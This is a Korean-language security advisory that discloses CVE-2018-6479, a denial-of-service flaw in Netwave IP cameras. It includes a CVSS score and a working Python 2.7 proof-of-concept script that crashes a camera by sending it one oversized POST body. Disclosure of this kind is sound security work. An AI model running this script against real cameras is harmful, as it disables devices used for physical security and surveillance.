
[CVE-2018-6479] Netwave IP Camera 서버는 단일 대형 POST 요청으로 서비스 거부(DoS)에 취약합니다.
| CVE | 설명 |
|---|---|
| CVE-2018-6479 | 인증되지 않은 원격 서비스 거부(Denial of Service) 취약점 |
| CVSS | 점수 | 세부 사항 |
|---|---|---|
| 3 | 7.3 | CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:X/RL:W/RC:X |
IoT 보안 연구 과정에서 여러 IP 카메라 벤더에서 몇 가지 취약점이 발견되었습니다. Netwave IP 카메라는 카메라 영상을 보고 카메라를 관리할 수 있는 IP 카메라 서버입니다. IP 카메라는 물리적 보안 및 통제 목적으로 특히 사용되므로, 가용성이 매우 중요합니다.
Netwave IP 카메라는 루트 경로에 거대한 POST 요청을 보내기만 하면 다운될 수 있습니다. 요청을 보내면 장치가 멈추고 오디오 및 비디오 스트리밍이 중단됩니다.
개념 증명: 다음 Python 2.7 스크립트를 모든 NetWave IP 카메라에 대해 실행하면, 카메라가 즉시 응답을 멈추고 비디오/오디오 스트리밍이 중단됩니다.
import string
import httplib
import urllib2
host = "CAMERA_IP"
port = 80
params='A'*9999999 # Huge body
headers = {
"Host": host + ':' + str(port),
"Connection": "keep-alive",
"Content-Length": 9999999,
}
url = "/"
conn = httplib.HTTPConnection(host,port=port)
conn.request("POST",url,params,headers)
response = conn.getresponse()
data = response.read()
print data
Gonzalo García León